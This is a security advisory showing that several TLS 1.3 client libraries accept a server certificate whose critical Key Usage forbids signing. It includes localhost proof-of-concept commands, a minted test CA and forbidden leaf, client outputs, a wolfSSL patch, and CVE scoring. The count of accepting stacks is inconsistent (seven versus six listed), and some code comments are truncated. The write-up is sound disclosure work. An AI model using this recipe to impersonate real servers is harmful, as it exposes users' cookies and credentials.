Seven stacks accept forbidden signatures

Authority says nah-key-signing; seven TLS 1.3 stacks ignore

Discovered 18 Apr 2026 · Disclosed 9 May 2026 · Updated 31 Jul 2026

> Cybernuke filed across the ecosystem. OCaml shipped Cybernuke's guard. Go's security team called it known behaviour, not a security issue (issue #71842); bounty denied. No vendor speaks for the ecosystem; IETF does. RFC 8446 §4.4.2.2 makes the `digitalSignature` bit a MUST, so a stack accepting a handshake signature the certificate forbids is breaking the standard rather than exercising discretion. Google is free to disagree; they cannot call the result TLS 1.3.

Everything a certificate authority sells is a restriction it trusts somebody else to honour. Mark a key encryption-only and the marking is worth whatever the software reading it decides to make it worth, which across TLS 1.3 turns out to be two incompatible answers. One certificate; to half the client libraries in production it is a valid server credential, to the other half a forgery. Nothing either endpoint can be configured to do reconciles that. The buyer of the certificate cannot make the restriction bind, the authority that signed it cannot make it bind, and an attacker needs only a client on the lenient side of the line. IETF did not leave this to taste: the requirement reads MUST. One that half an ecosystem declines to implement has stopped being a rule and become a suggestion — and the certificate keeps its restriction printed on the front, where it reassures whoever reads it.

> *Seven stacks verify anyway — certificate protests.*

A leaf certificate's Key Usage extension is a signed statement by the issuing certificate authority of what the key may do: sign, or unwrap a secret sealed to it, or certify other certificates. IETF requires keys that sign on server leafs, because servers sign every handshake.

The ecosystem disagrees on whether to honour it. Point client stacks at a server holding such a leaf and seven accept it: OpenSSL, Go, Python, ocaml-tls, LibreSSL, rustls and wolfSSL verify the server's signature against a key the authority said could not sign, complete the handshake, and read application data. Four others reject on the spot: Java JSSE, GnuTLS, mbedTLS and Botan each read Key Usage and refuse. Same leaf, same trust anchor, one bit; the ecosystem splits seven to four.

Where a stack accepts, the consequence is server impersonation — and with it whatever the client would have sent the real server. From the client's view the peer is the certificate's subject; from the issuer's view it never authorised that authentication.

Don't trust, verify: One leaf, ten clients, six sign anyway

A fresh authority issues one leaf whose *critical* Key Usage is `keyEncipherment`; nothing else about it is unusual. Stock `openssl s_server` holds it, and ocaml-tls's own example client is invited to verify:

```
$ openssl x509 -in leaf.crt -noout \
     -ext subjectAltName,extendedKeyUsage,keyUsage
X509v3 Subject Alternative Name:
    DNS:localhost
X509v3 Extended Key Usage:
    TLS Web Server Authentication
X509v3 Key Usage: critical
    Key Encipherment

$ openssl s_server -accept 14851 -cert leaf.crt -key leaf.key -www &

$ _build/default/lwt/examples/http_client.exe localhost 14851 ca.crt
HTTP/1.0 200 ok
```

Signature verified, reply read: a signature the certificate it had just parsed forbids outright. OpenSSL's own `s_client` meets the same endpoint under the same anchor, and it is asked to be strict — `-verify_return_error` makes a verification failure fatal:

```
$ openssl s_client -connect localhost:14851 -CAfile ca.crt \
     -verify_return_error -verify_hostname localhost -tls1_3
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Verify return code: 0 (ok)
```

Strict, and it verifies anyway. Three more vendors' clients, same endpoint, same anchor, and each refuses in its own words:

```
$ botan tls_client localhost --port=14851 --trusted-cas=ca.crt \
     --tls-version=1.3
Error: Certificate usage constraints do not allow signing

$ gnutls-cli --x509cafile ca.crt -p 14851 localhost
|<1>| Peer's certificate does not allow digital signatures. Key usage violation det
*** Fatal error: Key usage violation in certificate has been detected.

$ ../mbedtls/build/programs/ssl/ssl_client2 server_name=localhost \
     server_port=14851 ca_file=ca.crt auth_mode=required force_version=tls13
  ! mbedtls_ssl_handshake returned -0x7a00
  ! Usage does not match the keyUsage extension
```

Our sweep put a leaf of this shape in front of ten client stacks — four deliver on TLS promises; the other six don't:

```
  Botan      REJECT   Certificate usage constraints do not allow signing
  GnuTLS     REJECT   Key usage violation detected
  Java JSSE  REJECT   KeyUsage does not allow digital signatures
  mbedTLS    REJECT   Usage does not match the keyUsage extension
  Go         ACCEPT   PeerCertificate KeyUsage=4 (keyEncipherment only)
  LibreSSL   ACCEPT   Verify return code: 0 (ok)
  ocaml-tls  ACCEPT   OK: received 4096 bytes
  OpenSSL    ACCEPT   Verify return code: 0 (ok)
  Python     ACCEPT   TLSv1.3 session established
  rustls     ACCEPT   HTTP/1.0 200 ok (read app data)
```

What that costs is not the session. It is the cookie that keeps the client signed in, the bearer token it presents to an API, every credential it would have handed the real host — handed to the attacker instead, willingly, over a channel it believes it verified. No key was stolen. Nothing was broken.

Trace to vulnerability site: Certificate walker doesn't ask

wolfSSL is the leg this page takes to a fix, and it is the sharpest of the seven: its guard is not missing — it reads the `digitalSignature` bit and refuses a leaf that lacks it. The comments carry why it never fires on the TLS 1.3 path:

```
// src/internal.c:16404 — refuse a server leaf that cannot sign …
if ((ssl->specs.kea != rsa_kea) &&
    (ssl->specs.sig_algo == rsa_sa_algo ||          // … but only if the suite name
        (ssl->specs.sig_algo == ecc_dsa_sa_algo &&  //     or ECDSA — the TLS 1.2 w
             !ssl->specs.static_ecdh)) &&
    (args->dCert->extKeyUsage & KEYUSE_DIGITAL_SIG) == 0)   // then, and only then,
    ret = KEYUSE_SIGNATURE_E;                       // -383, the error a 1.2 client

// src/keys.c:1270 — but every TLS 1.3 suite sets:
specs->sig_algo = any_sa_algo;   // 18 — neither 1 (RSA) nor 3 (ECDSA), so the test
```

TLS 1.3 moved the signature algorithm out of the cipher-suite name into its own `signature_algorithms` extension. The guard still reads it from the suite, finds `any_sa_algo`, and never reaches the check that was correct for the whole TLS 1.2 era. The protocol moved out from under it. The other six accepting stacks make the same omission:

- OpenSSL, Python and LibreSSL share one disposition. OpenSSL's default verification has historically not constrained a leaf by its Key Usage bits, so a `keyEncipherment`-only leaf clears `s_client`'s default verify; Python's `ssl.create_default_context` wraps that verifier and inherits it, and LibreSSL, an OpenSSL fork, carries the same default.
- Go's `crypto/tls` parses and exposes the peer's `KeyUsage` on `ConnectionState` but raises no verify error.
- ocaml-tls calls its `validate_keyusage` check on the TLS 1.2 cert path and never on the 1.3 walker; the sibling Extended Key Usage gap is the same skipped call.
- rustls authenticates the chain and host name but skips Key Usage.

In each critical is read and discarded.

Fix: One disjunct that reaches the check

The bit wolfSSL must read on a TLS 1.3 server leaf is `digitalSignature`, and the library already reads it — the guard just cannot reach it, because a TLS 1.3 suite no longer carries the signature algorithm its condition tests for. One added disjunct makes the guard fire on the 1.3 path regardless, using wolfSSL's own version test:

```
--- a/src/internal.c
+++ b/src/internal.c
@@ -16404,7 +16404,8 @@ int ProcessPeerCerts(WOLFSSL* ssl, byte* input, word32* inO
                     if ((ssl->specs.kea != rsa_kea) &&
                         (ssl->specs.sig_algo == rsa_sa_algo ||
                             (ssl->specs.sig_algo == ecc_dsa_sa_algo &&
-                                 !ssl->specs.static_ecdh)) &&
+                                 !ssl->specs.static_ecdh) ||
+                            IsAtLeastTLSv1_3(ssl->version)) &&
                         (args->dCert->extKeyUsage & KEYUSE_DIGITAL_SIG) == 0) {
                         WOLFSSL_MSG("KeyUse Digital Sig not set");
                         ret = KEYUSE_SIGNATURE_E;
```

`IsAtLeastTLSv1_3(ssl->version)` is true for every TLS 1.3 handshake, where the server signs `CertificateVerify` in every exchange, so `digitalSignature` is required whatever `any_sa_algo` carries. Saved as `wolfssl-fix.patch` at the root of the clone, applied to it, and rebuilt in place:

```
$ git apply wolfssl-fix.patch

$ make -j2
  (build output omitted)
```

Re-running the client against that build is the two-sided test. The patched client flips from accept to reject at TLS 1.3, naming the reason in the library's own `-383` error — the one its TLS 1.2 path always printed; a leaf that does carry `digitalSignature`, issued by the same authority on a second port, still completes its handshake and moves application data:

```
$ examples/client/client -h localhost -p 14851 -v 4 -m -x -g \
     -A ../ocaml-tls/ca.crt
connecting to localhost:14851
wolfSSL_connect error -383, Key Use digitalSignature not set Error
wolfSSL error: wolfSSL_connect failed

$ examples/client/client -h localhost -p 14854 -v 4 -m -x -g \
     -A ../ocaml-tls/ca.crt
connecting to localhost:14854
SSL version is TLSv1.3
SSL cipher suite is TLS_AES_256_GCM_SHA384
SSL connect ok, sending GET...
HTTP/1.0 200 ok

$ examples/client/client -h localhost -p 14851 -v 3 -m -x -g \
     -A ../ocaml-tls/ca.crt
connecting to localhost:14851
wolfSSL_connect error -383, Key Use digitalSignature not set Error
wolfSSL error: wolfSSL_connect failed
```

One extra disjunct closes the wolfSSL leg. Each of the other accepting stacks needs the equivalent check wired into its own leaf-validation path.

Scope

RFC 5280 §4.2.1.3 makes a *critical* Key Usage non-overridable: one that withholds signing is the issuer's instruction that this key must not sign, and no client is at liberty to read past it.

Exploit shape is server impersonation: an attacker holding a leaf whose critical Key Usage omits `digitalSignature`, issued by an authority the connecting client trusts, with a SAN naming a host that client reaches, stands up a server on that host; a lenient client validates the chain, the SAN matches, the attacker signs `CertificateVerify` with the leaf's key, and the session completes. The mechanics are deterministic on any accepting stack, and the demonstration above fires every time. What holds the complexity high is the certificate population that has to supply that prerequisite, and it is a narrow one.

The realistic source is a service-account encryption-class certificate with a software-resident key: enterprise public key infrastructures that mark `keyEncipherment`-only leaves to make a signing/encryption key-separation policy auditable, whose keys live as PKCS#12 files mounted into automation rather than behind a hardware security module. Anyone holding that key for its intended unwrap role holds a key the authority forbade for signing and a SAN that matches a TLS host. A decaying tail exists in retired TLS 1.2 RSA-key-transport server keys, whose Key Usage could legitimately be `keyEncipherment` only, surviving on backup images. Misissuance of this shape in the public Web certificate ecosystem is not something we can document from outside it.

Out of scope: hardware-security module bounded deployments, where PKCS#11 refuses to sign with a `CKA_UNWRAP`-only key regardless of what the TLS library asks; the TLS 1.2 ECDHE/DHE path, which already runs the check and rejects the same leaf; and stolen-signing-key variants, which this finding does not need. It turns on a legitimately-issued certificate that merely does not permit signing.

Discovered 2026-04-18; disclosed 2026-05-09 (CERT/CC VRF#26-05-DZDGH; OCaml SRT in parallel for the ocaml-tls leg). Target: the `mirleft/ocaml-tls` TLS 1.3 client at tag `v2.0.4` (`2d33575`). Class observation across TLS 1.3 client stacks — the accepting column (OpenSSL ≤3.5.5 `s_client`, Go 1.24 `crypto/tls`, Python 3 `ssl`, ocaml-tls, LibreSSL 4.2.1, rustls 0.23) set against an enforcing column (Java 21 JSSE, GnuTLS 3.8.9, mbedTLS 3.6.5, Botan 3.11.0). CWE-295 · CVSS 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

Updated 31 Jul 2026 — Cybernuke's guard shipped in ocaml-tls 2.1.0 on 20 May 2026, closing this axis and the sibling Extended Key Usage one in a single call; by 28 May it carried CVE-2026-45388 / CVE-2026-45389 (OCaml SRT advisories OSEC-2026-06 / OSEC-2026-07, CERT/CC VU#597086).

A score now stands on the public record, and it is not ours. This axis and the sibling Extended Key Usage one share a single record, because one guard closed both: CVE-2026-45388, OCaml SRT advisory OSEC-2026-06, the TLS 1.3 client leg covering Key Usage and Extended Key Usage together. (CVE-2026-45389 / OSEC-2026-07 is the other direction, a server checking a client's certificate, and is not this finding.) That record is assigned by MITRE, whose record carries no severity at all; CISA-ADP, enriching downstream, filled that gap with 9.1 Critical on AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. The maintainer's own advisory for the same defect, OSEC-2026-06, scores it 7.4 High on AC:H — the vector this page publishes. So this is not two authorities examining one report and differing. It is an advisory that describes the attack, and an enrichment made from a one-sentence record that does not: "insufficient checks of the certificate provided by the server" names the artefact and never what holding one costs. That cost is the finding's own precondition — a leaf whose critical Key Usage omits `digitalSignature`, issued by an authority the client already trusts, carrying a name that client reaches, and a position from which to answer. CVSS 3.1 §2.1.2 makes that target-specific prerequisite the test for High complexity, and Scope above bounds the population rather than assuming it, so Cybernuke holds AC:H.

Correcting the record is the reporter's to decide, not this page's. CISA publishes the rule that settles it: ADP data yields to the assigning authority's, so a CVSS in the CNA container pre-empts the enricher's, and where one arrives later the ADP assessment is dropped. One vector added to CVE-2026-45388 retires the 9.1 without anybody arguing about Attack Complexity.

Appendix: standing it up

Everything a maintainer needs is above. What follows is the bench that re-derived the ocaml-tls, GnuTLS and mbedTLS legs: the clone the trace is read from, the stock stacks as this machine had them, the build of the two ocaml-tls example clients, and the `openssl` calls that mint the test authority and its two leaves — the forbidden one the demonstration serves, and the conformant one the fix is tested against. These are not the sweep's versions and are not offered as them — the sweep is dated in the provenance block and recorded its own column there.

```
$ opam install -y dune tls-lwt
[NOTE] Package tls-lwt is already installed (current version is 2.0.4).
[NOTE] Package dune is already installed (current version is 3.22.0).

$ git clone -q -c advice.detachedHead=false --branch v2.0.4 \
     https://github.com/mirleft/ocaml-tls.git
$ cd ocaml-tls
$ git rev-parse --short=7 HEAD
2d33575
```

```
$ openssl version
OpenSSL 3.5.5 27 Jan 2026 (Library: OpenSSL 3.5.5 27 Jan 2026)
$ go version
go version go1.24.4 linux/amd64
$ python3 -V
Python 3.13.5
$ java -version
openjdk version "21.0.11" 2026-04-21
$ gnutls-cli --version
gnutls-cli 3.8.9

# mbedTLS ships no client binary in any distribution, so build its own:
$ git clone -q -c advice.detachedHead=false --depth 1 --recursive \
     --branch mbedtls-3.6.5 https://github.com/Mbed-TLS/mbedtls.git ../mbedtls
$ cmake -S ../mbedtls -B ../mbedtls/build -DENABLE_TESTING=Off \
     -DCMAKE_BUILD_TYPE=Release
  (build output omitted)
$ cmake --build ../mbedtls/build --target ssl_client2 -j2
  (build output omitted)
$ git -C ../mbedtls describe --tags
v3.6.5
```

```
$ opam exec -- dune build lwt/examples/http_client.exe \
     lwt/examples/echo_client.exe
```

```
$ openssl genrsa -out ca.key 2048
$ openssl req -x509 -key ca.key -days 365 -out ca.crt -subj /CN=NOMARK-test-CA \
     -addext basicConstraints=critical,CA:TRUE \
     -addext keyUsage=critical,keyCertSign,cRLSign

$ openssl genrsa -out leaf.key 2048
$ openssl req -new -key leaf.key -out leaf.csr -subj /CN=localhost \
     -addext subjectAltName=DNS:localhost -addext extendedKeyUsage=serverAuth \
     -addext keyUsage=critical,keyEncipherment

$ openssl x509 -req -in leaf.csr -CA ca.crt -CAkey ca.key -days 365 \
     -copy_extensions copyall -out leaf.crt
Certificate request self-signature ok
subject=CN=localhost
```

```
$ openssl genrsa -out good.key 2048
$ openssl req -new -key good.key -out good.csr -subj /CN=localhost \
     -addext subjectAltName=DNS:localhost -addext extendedKeyUsage=serverAuth \
     -addext keyUsage=critical,digitalSignature,keyEncipherment
$ openssl x509 -req -in good.csr -CA ca.crt -CAkey ca.key -days 365 \
     -copy_extensions copyall -out good.crt
Certificate request self-signature ok
subject=CN=localhost
```